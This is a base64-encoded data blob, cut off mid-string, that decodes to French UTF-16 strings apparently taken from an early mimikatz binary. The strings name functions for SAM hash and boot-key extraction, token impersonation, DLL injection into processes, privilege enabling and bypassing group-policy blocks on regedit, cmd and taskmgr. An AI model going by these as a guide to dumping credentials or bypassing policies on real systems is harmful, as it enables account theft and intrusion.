AAAAAAAAAAAgACAAIAAgAC0APgAgAEIAbABvAGMAawAgAAAAAAAAAFQATwBEAE8AIABEAGEAdABhAAAAAAAAAEUAcgByAGUAdQByACAAUgBlAGEAZABFAG4AYwByAHkAcAB0AGUAZABGAGkAbABlAFIAYQB3ACAAOgAgAAAAAABFAHIAcgBlAHUAcgAgAE8AcABlAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQBSAGEAdwAgADoAIAAAAAAATwB1AHYAZQByAHQAdQByAGUAIABkAGUAIAA6ACAAAABWAGUAcgBzACAAIAAgACAAIAAgACAAIAAgADoAIAAAACAAKgAgAEUAeABwAG8AcgB0ACAATwBLAAAAAAAAAAAAKgAgAEUAcgByAGUAdQByACAAUgBlAGEAZABFAG4AYwByAHkAcAB0AGUAZABGAGkAbABlAFIAYQB3ACAAOgAgAAAAAAAAAAAAIAAqACAASABhAHMAaAAgAGQAdQAgAGMAZQByAHQAaQBmAGkAYwBhAHQAIAA6ACAAAAAAAAAAAAAgACoAIABOAG8AbQAgAHMAaQBtAHAAbABlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACAAKgAgAE4AbwBtACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAIAAtACAATABlAGMAdAB1AHIAZQAgAGQAJwB1AG4AIABiAGwAbwBjACAAZABlACAAOgAgAAAAAAAgADoAAAAAACAAIAAgACAAQwBoAGEAbQBwACAAZABlACAAZABvAG4AbgDpAGUAcwAgAAAAAAAAACAAIAAgACAAIAAqACAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAAAAAACAAIAAgACAAIAAgAC0APgAgAEQAbwBuAG4A6QBlAHMAIAA6ACAAAAAgACAAIAAgACAAIAAtAD4AIABUAGEAaQBsAGwAZQAgACAAOgAgAAAAIAAgACAAIAAgACoAIABGAEUASwAgACgAYwBoAGkAZgBmAHIA6QBlACkAIAA6ACAAAAAAAAAAAAAgACAAIAAgACAAKgAgAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACAAIAAgACAAIAAgAC0APgAgAE4AbwBtACAAYQBmAGYAaQBjAGgA6QAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEUAbQBwAHIAZQBpAG4AdABlACAAIAAgADoAIAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAGgAYQBuAGQAbABlAHMAIABkAHUAIABzAHkAcwB0AOgAbQBlACAAKABwAG8AdQByACAAbABlACAAbQBvAG0AZQBuAHQAIABqAHUAcwB0AGUAIABsAGUAcwAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQB0ACAAdABvAGsAZQBuAHMAKQAAAAAAAABsAGkAcwB0AAAAAAAAAAAARQBzAHMAYQB5AGUAIABkAGUAIABzAHQAbwBwAHAAZQByACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAgAGUAbgAgAHUAdABpAGwAaQBzAGEAbgB0ACAAZAAnAGEAdQB0AHIAZQBzACAAaABhAG4AZABsAGUAcwAAAAAAAABwAHIAbwBjAGUAcwBzAFMAdABvAHAAAABFAHMAcwBhAHkAZQAgAGQAJwBpAG0AcABlAHIAcwBvAG4AYQBsAGkAcwBlAHIAIAB1AG4AIAB0AG8AawBlAG4AIABlAG4AIAB1AHQAaQBsAGkAcwBhAG4AdAAgAGQAJwBhAHUAdAByAGUAcwAgAGgAYQBuAGQAbABlAHMAAAAAAHQAbwBrAGUAbgBJAG0AcABlAHIAcwBvAG4AYQB0AGUAAAAAAAAAAAAAAAAAAAAAAFAAbwBzAGkAdABpAG8AbgBuAGUAIAB1AG4AZQAgAEEAQwBMACAAbgB1AGwAbAAgAHMAdQByACAAZABlAHMAIABIAGEAbgBkAGwAZQBzAAAAbgB1AGwAbABBAGMAbAAAAHQAbwBrAGUAbgAAACAAIAAAAAAAAAAAACAALQA+ACAAAAAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AFMAeQBzAHQAZQBtAEgAYQBuAGQAbABlAHMAIAA7ACAAAAAJAFQAZQByAG0AaQBuAGEAdABlACAAUAByAG8AYwBlAHMAcwAgAC0AIAAAAAAAAAAJAEoAbwBiACAAOgAgAAAASwBPACAAOwAgAAAAAAAAAFQAZQByAG0AaQBuAGEAdABlAEoAbwBiAE8AYgBqAGUAYwB0ACAALQAgAAAAAAAAAEEAcwBzAGkAZwBuAFAAcgBvAGMAZQBzAHMAVABvAEoAbwBiAE8AYgBqAGUAYwB0ACAALQAgAEsATwAgADsAIAAAAAAAAAAAAE50U2V0SW5mb3JtYXRpb25Qcm9jZXNzAG8AawAgACEAIQAAAAAAAABrAG8AIAAtACAASQBtAHAAZQByAHMAbwBuAGEAdABlAEwAbwBnAGcAZQBkAE8AbgBVAHMAZQByACAAOwAgAAAAawBvACAALQAgAG0AbwBkAF8AcwBlAGMAYQBjAGwAOgA6AGUAeABjAGgAYQBuAGcAZQBEAHUAcABUAG8AawBlAG4AIAA7ACAAAAAAAAAAAABOAFUATABMACAAIQAAAAAACQAJAAAAAAAAAAAAAAAAAEgAYQBzAGgAIABMAGEAbgBNAGEAbgBhAGcAZQByACAAKABMAE0AKQAgAGQAJwB1AG4AZQAgAGMAaABhAO4AbgBlACAAZABlACAAYwBhAHIAYQBjAHQA6AByAGUAcwAAAGwAbQAAAAAAAAAAAAAAAABIAGEAcwBoACAATgBUACAATABhAG4ATQBhAG4AZwBlAHIAIAAoAE4AVABMAE0AKQAgAGQAJwB1AG4AZQAgAGMAaABhAO4AbgBlACAAZABlACAAYwBhAHIAYQBjAHQA6AByAGUAcwAAAG4AdABsAG0AAAAAAAAAAAAnACkAIAA9ACAAAAAAAAAATABNACgAJwAAAAAAAAAAAEUAcgByAGUAdQByACAAZABlACAAYwBhAGwAYwB1AGwAIABkAHUAIABoAGEAcwBoACAATABNAAAATgBUAEwATQAoACcAAAAAAEUAcgByAGUAdQByACAAZABlACAAYwBhAGwAYwB1AGwAIABkAHUAIABoAGEAcwBoACAATgBUAEwATQAAAAAAAABJAG4AagBlAGMAdABlACAAdQBuAGUAIABsAGkAYgByAGEAaQByAGkAcgBlACAAYwBvAG0AbQB1AG4AaQBjAGEAbgB0AGUAIABkAGEAbgBzACAAdQBuACAAUABJAEQAAABwAGkAZAAAAAAAAAAAAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAAAAAEkAbgBqAGUAYwB0AGUAIAB1AG4AZQAgAGwAaQBiAHIAYQBpAHIAaQByAGUAIABjAG8AbQBtAHUAbgBpAGMAYQBuAHQAZQAgAGQAYQBuAHMAIAB1AG4AIABzAGUAcgB2AGkAYwBlAAAAKQAuAHQAaAAzADIAUAByAG8AYwBlAHMAcwBJAEQAIAA9ACAAAAAAAFAAUgBPAEMARQBTAFMARQBOAFQAUgBZADMAMgAoAAAAJwAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUAUAByAG8AYwBlAHMAcwBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAAAAAFQAcgBvAHAALAAgAG8AdQAgAHAAYQBzACAAZABlACAAcAByAG8AYwBlAHMAcwB1AHMAIAA6ACAAJwAAAAAAAAApAC4AcwBlAHIAdgBpAGMAZQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAA9ACAAAABTAEUAUgBWAEkAQwBFACgAAAAAAAAAAAApAC4AUwBlAHIAdgBpAGMAZQBTAHQAYQB0AHUAcwBQAHIAbwBjAGUAcwBzAC4AZAB3AFAAcgBvAGMAZQBzAHMASQBkACAAPQAgAAAAAAAAACcAIAA7ACAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAAAAAAAAUwBlAHIAdgBpAGMAZQAgAHUAbgBpAHEAdQBlACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlACAAOgAgACcAAAAAAC4AAAAAAAAAawBpAHcAaQBcAG0AaQBtAGkAawBhAHQAegAAAAAAAAAAAAAAAAAAAEEAdAB0AGUAbgB0AGUAIABkAGUAIABjAG8AbgBuAGUAeABpAG8AbgAgAGQAdQAgAGMAbABpAGUAbgB0AC4ALgAuAAAAAAAAAFMAZQByAHYAZQB1AHIAIABjAG8AbgBuAGUAYwB0AOkAIADgACAAdQBuACAAYwBsAGkAZQBuAHQAIAAhAAAAAABNAGUAcwBzAGEAZwBlACAAZAB1ACAAcAByAG8AYwBlAHMAcwB1AHMAIAA6AAAAAAAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlACAAcAByAGUAbQBpAGUAcgAgAG0AZQBzAHMAYQBnAGUAIAAhACAAOwAgAAAAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAYwByAOkAZQByACAAdQBuACAAYwBhAG4AYQBsACAAZABlACAAYwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgAgACEAIAA7ACAAAAAAAAAAAAAAAEkAbgBqAGUAYwB0AOkAIABzAGEAbgBzACAAYwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgAgACgAbABlAGcAYQBjAHkAKQAAAAAAAAAAAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AagBlAGMAdABlAHIAIAAhACAAOwAgAAAAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIAB1AG4AIABjAGEAbgBhAGwAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AG8AbgAgAGUAcwB0ACAAZADpAGoA4AAgAG8AdQB2AGUAcgB0AAAAAAAAAAAAAAAAAAAARgBlAHIAbQBlAHQAdQByAGUAIABkAHUAIABjAGEAbgBhAGwAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuAAAAAAAAAAAAAABPAGIAdABpAGUAbgB0ACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHMAdQByACAAbABlACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAAAAAAEMAaABhAG0AcAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAgAGMAbwBsAG8AbgBuAGUAcwAAAAAAAAAgAGwAaQBnAG4AZQBzACAAeAAgAAAAAABEAGkAbQBlAG4AcwBpAG8AbgAgACAAIAAgACAAIAAgADoAIAAAAAAATQBpAG4AZQBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZAB1ACAAcABsAGEAdABlAGEAdQAAAAAAAAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZAB1ACAAagBlAHUAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAOkAbABlAG0AZQBuAHQAcwAgAGQAZQAgAGwAYQAgAGMAbwBsAG8AbgBuAGUAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIAByAOkAZgDpAHIAZQBuAGMAZQBzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAAAAAAAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAcgDpAGYA6QByAGUAbgBjAGUAcwAgAGQAZQBzACAAYwBvAGwAbwBuAG4AZQBzAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAcgDpAGYA6QByAGUAbgBjAGUAcwAgAGQAZQAgAGwAJwDpAGwAZQBtAGUAbgB0AAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIALgBlAHgAZQAAAEwAYQBuAGMAZQAgAHUAbgAgAOkAZABpAHQAZQB1AHIAIABkAGUAIAByAGUAZwBpAHMAdAByAGUALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAHIAZQBnAGUAZABpAHQAAAAAAAAAAAAAAEwAYQBuAGMAZQAgAHUAbgBlACAAaQBuAHYAaQB0AGUAIABkAGUAIABjAG8AbQBtAGEAbgBkAGUALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAAAAYwBtAGQAAABMAGEAbgBjAGUAIABsAGUAIABnAGUAcwB0AGkAbwBuAG4AYQBpAHIAZQAgAGQAZQAgAHQAYQBjAGgAZQAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByAAAAdABhAHMAawBtAGcAcgAAAEwAYQBuAGMAZQAgAE8AdQB0AGwAbwBvAGsALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAUABzAHQAAAAAAG8AbABwAHMAdAAAAAAAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAAByAGUAZwBlAGQAaQB0AC4AZQB4AGUAAABPSwAAS08AAEUAZABpAHQAZQB1AHIAIABkAGUAIAByAGUAZwBpAHMAdAByAGUAIAA6ACAAAAAAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABJAG4AdgBpAHQAZQAgAGQAZQAgAGMAbwBtAG0AYQBuAGQAZQAgADoAIAAAAAAAAABLAGkAdwBpAEEAbgBkAFQAYQBzAGsATQBnAHIAAAAAAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAAAAAAdABhAHMAawBtAGcAcgAuAGUAeABlAAAARwBlAHMAdABpAG8AbgBuAGEAaQByAGUAIABkAGUAIAB0AGEAYwBoAGUAcwAgADoAIAAAAAAAAABEaXNhYmxlUHN0AAAAAAAAS2l3aUFuZFBzdAAAAAAAAE8AdQB0AGwAbwBvAGsALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AAABPAHUAdABsAG8AbwBrACAAYQB2AGUAYwAgAFAAUwBUACAAIAAgADoAIAAAAAAAAABvAGwAbQBhAHAAaQAzADIALgBkAGwAbAAAAAAAAAAAAE8AdQB0AGwAbwBvAGsAIABpAG4AdAByAG8AdQB2AGEAYgBsAGUAAABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAAAAAAAAAXABDAEwAUwBJAEQAAAAAAFMAbwBmAHQAdwBhAHIAZQBcAFcAbwB3ADYANAAzADIATgBvAGQAZQBcAEMAbABhAHMAcwBlAHMAXABDAEwAUwBJAEQAXAAAAFwATABvAGMAYQBsAFMAZQByAHYAZQByADMAMgAAAAAAJyA6IAAAAABSZWdRdWVyeVZhbHVlRXggJwAAAAAAAAAnIG4nZXN0IHBhcyA6IFJFR19TWgAAAABMZSB0eXBlIHJldG91cm7pIHBhciAnAABSZWdPcGVuS2V5RXggJwAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAdwByAGkAdABlAE0AZQBtAG8AcgB5ACAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFAAZQBiACAAAAAAAAAAAABSAGUAcwB1AG0AZQBUAGgAcgBlAGEAZAAgAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZQB4AGUAYwBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAAAAAAAAAABtAG8AZABfAG0AaQBtAGkAawBhAHQAegBfAG4AbwBnAHAAbwA6ADoAZABpAHMAYQBiAGwAZQBTAGkAbQBwAGwAZQAgACgAdQBuAGkAYwBvAGQAZQApACAAVABhAGkAbABsAGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAbwByAGkAZwBpAG4AYQBsACAAZABpAGYAZgDpAHIAZQBuAHQAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABjAGkAYgBsAGUAAAAAAAAAAAAAAAAAbQBvAGQAXwBtAGkAbQBpAGsAYQB0AHoAXwBuAG8AZwBwAG8AOgA6AGQAaQBzAGEAYgBsAGUAUwBpAG0AcABsAGUAIAAoAG4AbwBuAC0AdQBuAGkAYwBvAGQAZQApACAAVABhAGkAbABsAGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAbwByAGkAZwBpAG4AYQBsACAAZABpAGYAZgDpAHIAZQBuAHQAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABjAGkAYgBsAGUAAAAAAEwAaQBzAHQAZQAgAGwAZQBzACAAcAByAGkAdgBpAGwA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bwBjAGUAcwBzADoAOgBzAHQAYQByAHQAIAA7ACAAAAAAAAAAcAByAG8AYwBlAHMAcwA6ADoAcwB0AGEAcgB0ACAAWwAvAHAAYQB1AHMAZQBkAF0AIABbAC8AcwB1AGQAbwBdACAAYwBvAG0AbQBhAG4AZABlAAAAAAAAAEUAcgByAGUAdQByACAAZABlACAAcwB5AG4AdABhAHgAZQAgADsAIAAAAAAAAAAAAEYAaQBuACAAZABlACAAOgAgAAAAAAAAAEsATwAgAC0AIABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AHMAdABvAHAAIAA7ACAAAAAAAAAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAA7ACAAAAAAAAAAAABTAHUAcwBwAGUAbgBzAGkAbwBuACAAZABlACAAOgAgAAAAAAAAAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcwB1AHMAcABlAG4AZAAgADsAIAAAAAAAAAAAAFIAZQBwAHIAaQBzAGUAIABkAGUAIAA6ACAAAAAAAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcgBlAHMAdQBtAGUAIAA7ACAAAABQAEkARAAJAFAAUABJAEQACQAjAFQAaABzAAkAcAByAGkACQBpAG0AYQBnAGUAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AEwAaQBzAHQAIAA7ACAAAABAAEIAYQBzAGUACQBUAGEAaQBsAGwAZQAJAE0AbwBkAHUAbABlAAkAUABhAHQAaAAAAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQATQBvAGQAdQBsAGUAcwBMAGkAcwB0AEYAbwByAFAAcgBvAGMAZQBzAHMASQBkACAAOwAgAAAAAAAAAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUATQBvAGQAdQBsAGUARgBvAHIATgBhAG0AZQAgADsAIAAAAAAAUABJAEQAIAAgACAAIAAgACAAOgAgAAAAVABoAHIAZQBhAGQASQBEACAAOgAgAAAAQXV0aElkX2ggOiAAAAAAAEF1dGhJZF9sIDogAAAAAABFAHIAcgBlAHUAcgAgADoAIAAAAAAAAAAgAC0AIABJAG0AcABvAHIAdABzACAAZABlAHAAdQBpAHMAIAA6ACAAAAAAAAAAAAAgACAAIAAgACAAIAAAAAAATwAjACAAAABpbnZhbGlkIHZlY3RvcjxUPiBzdWJzY3JpcHQAAAAAAFIA6QBjAHUAcADoAHIAZQAgAGwAYQAgAGIAbwBvAHQAawBlAHkAIABkAGUAcAB1AGkAcwAgAHUAbgBlACAAcgB1AGMAaABlACAAUwBZAFMAVABFAE0AIABwAHUAaQBzACAAbABlAHMAIABoAGEAcwBoAGUAcwAgAGQAZQBwAHUAaQBzACAAdQBuAGUAIAByAHUAYwBoAGUAIABTAEEATQAAAAAAAAAAAGgAYQBzAGgAZQBzAAAAAAAAAAAAAAAAAFIA6QBjAHUAcADoAHIAZQAgAGwAYQAgAGIAbwBvAHQAawBlAHkAIABkAGUAcAB1AGkAcwAgAHUAbgBlACAAcgB1AGMAaABlACAAUwBZAFMAVABFAE0AAABiAG8AbwB0AGsAZQB5AAAAAAAAAAAAAABFAHIAcgBlAHUAcgAgAGwAbwByAHMAIABkAGUAIABsACcAZQB4AHAAbABvAHIAYQB0AGkAbwBuACAAZABlAHMAIAByAHUAYwBoAGUAcwAAAEUAcgByAGUAdQByACAAbABvAHIAcwAgAGQAZQAgAGwAJwBlAHgAcABsAG8AcgBhAHQAaQBvAG4AIABkAHUAIAByAGUAZwBpAHMAdAByAGUAAAAAAAAAAABcU0FNXERvbWFpbnNcQWNjb3VudAAAAABGAAAAAAAAAFxTQU1cRG9tYWluc1xBY2NvdW50XFVzZXJzAABOYW1lcwAAAFYAAABcQ29udHJvbFNldAAAAAAATwByAGQAaQBuAGEAdABlAHUAcgAgADoAIAAAAAAAAABCAG8AbwB0AEsAZQB5ACAAIAAgACAAOgAgAAAAAAAAAFxDb250cm9sXENvbXB1dGVyTmFtZVxDb21wdXRlck5hbWUAAAAAAABDb21wdXRlck5hbWUAAAAASkQAAFNrZXcxAAAAR0JHAERhdGEAAAAAXENvbnRyb2xcTHNhXAAAACV4AABKAEQAAAAAAAAAAABTAGsAZQB3ADEAAAAAAAAARwBCAEcAAABEAGEAdABhAAAAAAAAAAAAAAAAAAAAAABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABMAHMAYQAAAAAAJQB4AAAAAAAgOiAAUgBlAGcAUQB1AGUAcgB5AEkAbgBmAG8ASwBlAHkAIAAAAAAAAAAAAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAAAAAAAAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABMAFMAQQAgADoAIAAAAFxTZWx